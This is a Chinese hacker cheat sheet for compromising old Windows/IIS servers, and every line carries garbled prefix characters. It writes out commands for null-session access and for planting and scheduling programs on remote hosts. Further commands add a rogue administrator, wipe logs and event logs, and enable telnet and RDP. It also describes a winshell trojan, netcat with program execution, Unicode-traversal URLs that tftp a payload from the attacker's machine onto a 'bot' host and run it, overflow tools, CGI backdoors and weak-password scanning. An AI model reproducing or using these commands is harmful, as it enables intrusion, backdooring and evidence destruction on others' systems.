网管和黑客都必须知道的命令
1#+|RL4o 常用的几条NET命令：
;GOu'34j vE#8& Zq （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
?X\.O-=4X BjTgZ98J （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
8~RJnwF^ H*f2fyC1\ （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
t7V7 TL!5' (64es)B }" （查看远程主机时间） net time \\IP地址
{5%d#|? a{JO8<dlm （定时启动某个程序） at \\IP地址 02:18 readme.exe
RDy&i ;9 ChB A （查看共享） net view \\IP地址
>YF=6zq.` 8 uW%jG3/ （查看netbios工作组列表） nbtstat -A IP地址
2_M+o]Z^ }o[<1+W(. （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
q j9q {t|#>UCK （这两条把自己增加到管理员组）： net user 用户名 密码 /add
&^ s8V]^ ,jw`9 a net localgroup Administrators 用户名 /add
*O[/-
p&7 Zvfy%k （断开连接） net use \\IP地址\ipc$ /delete
O%F*i2I:+k ouFKqRs; 扫尾：
<1* \ ~CX R4k+.hR del C:\winnt\system32\logfiles\*.*
Q uw| KL Vwjic2lGI del C:\winnt\ssytem32\config\*.evt
:mf &,? BxQ,T@ del C:\winnt\system32\dtclog\*.*
u.?jW vcv 3qH1\ del C:\winnt\system32\*.log
`/!FZh< 7d|1T' del C:\winnt\system32\*.txt
i`vy<Dvpz utC^wA5U~ del C:\winnt\*.txt
7 &%#bMnw l2dj GZk del C:\winnt\*.log
cF9oo%3 C6@*l~j 一、netsvc.exe
^mC,Z+! tc\ZYCFr 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
FDGG$z?>m !g=b=YK netsvc /list \\IP地址
s&$e}yxVO Zv -1*hhHf netsvc schedule \\IP地址 /query
jWh) bsqI! !)W#|sys& netsvc \\IP地址 schedule /start
[EZ=t k %,ScGQE 二、OpenTelnet.exe
&_hEM~{
+`ov1h 远程启动主机的Telnet服务，并绑定端口到7878，例如：
oJ" D5d, |m@>AbR5dk OpenTelnet \\IP地址 用户名 密码 1 7878
+StsSZ 8?: 2< 然后就可以telnet到主机的7878端口，进入DOS方式下：
+|5 O b D+~*nc ~
g telnet IP地址 7878
e5 zi "~ V*Xr}FE 三、winshell.exe
A 2A_F|f v.u 5% 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
Xrpvq(] C>,> _ p Path （查看winshell主程序的路径信息）
5tLb
o |Sua4~yL( b reBoot （重新启动机器）
3/]FT#l]i y"U)&1 c% d shutDown （关闭机器）
b^ [ z' mh SknyqT s Shell （执行后你就会看到可爱的“C:\>”）
?<8c \ n^[!e"` x eXit （退出本次登录会话，此命令并不终止winshell的运行）
5dD8s-; ^T /<(-lb q, CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
87eH~&<1 h/8p2Mrqi 四、3389登陆器，GUI方式登录远程主机的
Vx> Q Ip)u6We>I 五、elsave.exe
)/~o'M3 ]f U&?z# 事件日志清除工具
N#$]W"U @v& s|X ' elsave -s \\IP地址 -l "application" -C
:$P rlE h.l.da1# elsave -s \\IP地址 -l "system" -C
y
c 8 h}` gjX1 z{{~L elsave -s \\IP地址 -l "security" -C
eQ n[ ?cKTe GrS 执行后成功清除应用程序日志，系统日志，安全日志
0)
F\aJ4Y Y"yrc0'&T 六、hbulot.exe
&}pF6eIar 0 G33hIOS 开启win2kserver和winxp的3389服务
4*5 e0:O WXDo`_{R hbulot [/r]
"Ehh9 m1& KtH^k&z.f 使用/r表示安装完成后自动重起目标使设置生效。
zpeCT3Q5O d~h;|Bl[ 七、nc.exe(netcat.exe)
u=vBjaN2_w gG}H5uN 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
E'( nJ ZU +_nWnl 想要连接到某处: nc [-options] hostname port[s] [ports] ...
/;1O9HJa Hz==,NR-W 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
SBD Gms FH$q,BI!R 参数:
U|\ .)h= 6KXW]a ` -e prog 程序重定向，一旦连接，就执行 [危险!!]
i ? uX'apk B
I3fk -g gateway source-routing hop point[s], up to 8
@7.7+blS"H !y' >sAf -G num source-routing pointer: 4, 8, 12, ...
Ht\2 IP "Jg.)1Jw -h 帮助信息
9PV+Kr!c5I *p #@W-:9E -i secs 延时的间隔
[^6z> EN":}!E: -l 监听模式，用于入站连接
g; nLR<] v2p0EOS -n 指定数字的IP地址，不能用hostname
#<Xq\yC51 [m 6+I9 -o file 记录16进制的传输
X!'C'3 X t,*1=S5 -p port 本地端口号
5 ;XYF0 ED" fi$ -r 任意指定本地及远程端口
.QwB7+V4 I.T?A9Z -s addr 本地源地址
v-q-CI? B# 6akI5\b -u UDP模式
"19#{yX 4 *F Zav2]- -v 详细输出——用两个-v可得到更详细的内容
4# ]g 852 M6^
\LtFt -w secs timeout的时间
d,Oagx \@N~{7 2:k -z 将输入输出关掉——用于扫描时
g7*U uh# 八、TFTPD32.EXE
A*81}P_ ~1twG G_; 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
}HmkTk P3Lsfi. http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
S4{vS?>j !J X7y%J 然后可以直接令文件运行：
M" /Jn[ [[6" qq http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
A|:+c*7] RjPkH$u'Pj 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
7wP I)]$ nLG)>L 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
``$$yS~d}; {#4a}:3 一、一 Xscan命令行运行参数说明：
H>;,r , G
kG# +C0L 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
<*dcl2xS 6-T YOUm 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
1IS1P)4_0 ?b{y#du2a xscan -file <主机列表文件名> <检测项目> [其他选项]
f5b|,JJ 3!fR'L/i 其中<检测项目> 含义如下:
cRD;a?0/6s 5dN>Xjpu -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
dg|x(p# SOM? 0. -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
T#E$sZ YGLq ~A -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
v~T)g"_| yI#qkl- -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
]Sa#g&}T> 8]`s&d@GY -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
ort *Ux)
CsycR @[ [其他选项] 含义如下:
KW[y+c u.# q0Q[]|L -v: 显示详细扫描进度
c$2kR : -Fn/= -p: 跳过Ping不通的主机
'/9j"mIA9$ U:n ~S -o: 跳过没有检测到开放端口的主机
e7{6<[k3+$ 3C%|src -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
